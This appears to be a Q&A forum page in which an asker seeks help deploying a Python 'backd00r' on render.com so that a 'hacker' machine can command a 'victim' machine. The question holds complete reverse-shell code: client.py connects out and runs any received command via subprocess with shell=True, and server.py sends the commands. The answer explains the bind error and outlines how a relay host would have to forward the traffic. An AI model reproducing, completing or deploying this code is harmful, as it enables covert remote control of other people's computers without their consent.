pythonpython-3.xwebsocketrender.com

how to create a backd00r using python library "socket" and free hosting on render.com?


I took the code from the Internet, there is a "victim" and a "hacker". The "hacker" runs a server on his computer (server.py), and the victim connects using "client.py". If locally, everything works, but when I try to deploy it on render.com, an error appears: OSError: [Errno 99] Cannot assign requested address

Below I will provide a link to GitHub, which contains server.py and client.py, please help me make it so that I can bind my computer as a "Hacker" to the remote computer of the "Victim" via render.com

I tried using different ip, ports, server hostings

client.py:

# Imports
from ctypes.wintypes import INT
import socket
import subprocess


# Setting Up IP/Sockets
REMOTE_HOST = 'There need any ip, but which?' 
REMOTE_PORT = 8081 # 2222
FORMAT = 'utf-8'
client = socket.socket()

# Initializing Connection
print("[-] Connection Initiating...")
client.connect((REMOTE_HOST, REMOTE_PORT))
print("[-] Connection initiated!")

# Runtime Loop
while True:
    print("[-] Awaiting commands...")
    command = client.recv(1024)
    command = command.decode(FORMAT, errors='ignore')
    op = subprocess.Popen(command, shell=True, stderr=subprocess.PIPE, stdout=subprocess.PIPE)
    output = op.stdout.read()
    output_error = op.stderr.read()
    print("[-] Sending response...")
    client.send(output + output_error)

server.py:

# Imports
import socket

# Creating Listening Port
HOST = '0.0.0.0' # '192.168.43.82'
PORT = 10000 # 2222
FORMAT = 'utf-8'

server = socket.socket()
server.bind((HOST, PORT))

# Starting Server
print('[+] Server Started')
print('[+] Listening For Client Connection ...')
server.listen(1)
client, client_addr = server.accept()
print(f'[+] {client_addr} Client connected to the server')

# Reciving Commands
while True:
    command = input('Enter Command : ')
    command = command.encode(FORMAT, errors='ignore')
    client.send(command)
    print('[+] Command sent')
    output = client.recv(1024)
    output = output.decode(FORMAT, errors='ignore')
    print(f"Output: {output}")

Github: 
https://github.com/SY-DIE/vir/tree/main

Solution

  • You cannot bind to the IP address of a different computer. It simply makes no sense ... and the operating system won't allow it (because it is nonsensical). When you bind to 0.0.0.0 that is a shorthand for "all available IPs on >this< computer".

    Next, binding to 0.0.0.0 port 10000 (or 8081 or 2222) doesn't work because of restrictions specific to render.com. Apparently render.com only allows binding to HTTP and HTTPS ports; i.e. 80 and 443. See this answer.

    Finally ...

    Help me make it so that I can bind my computer as a "Hacker" to the remote computer of the "Victim" via render.com.

    Even assuming that managed to run your "server.py" code on some hosting site that allows you to use the ports that you want to, that still isn't going to allow you to do what you apparently want. There is no magic "binding" mechanism that can cause the data to go directly from your "client.py" code to your "server.py" code via something else.

    If you want data on a socket connection from Victim to Hacker via a Hosting machine instead, then an application running on Hosting needs to open a connection to Hacker itself, and transmit the data from Victim to Hacker on that connection. The application also needs to deal with any response data from Hacker back to Victim.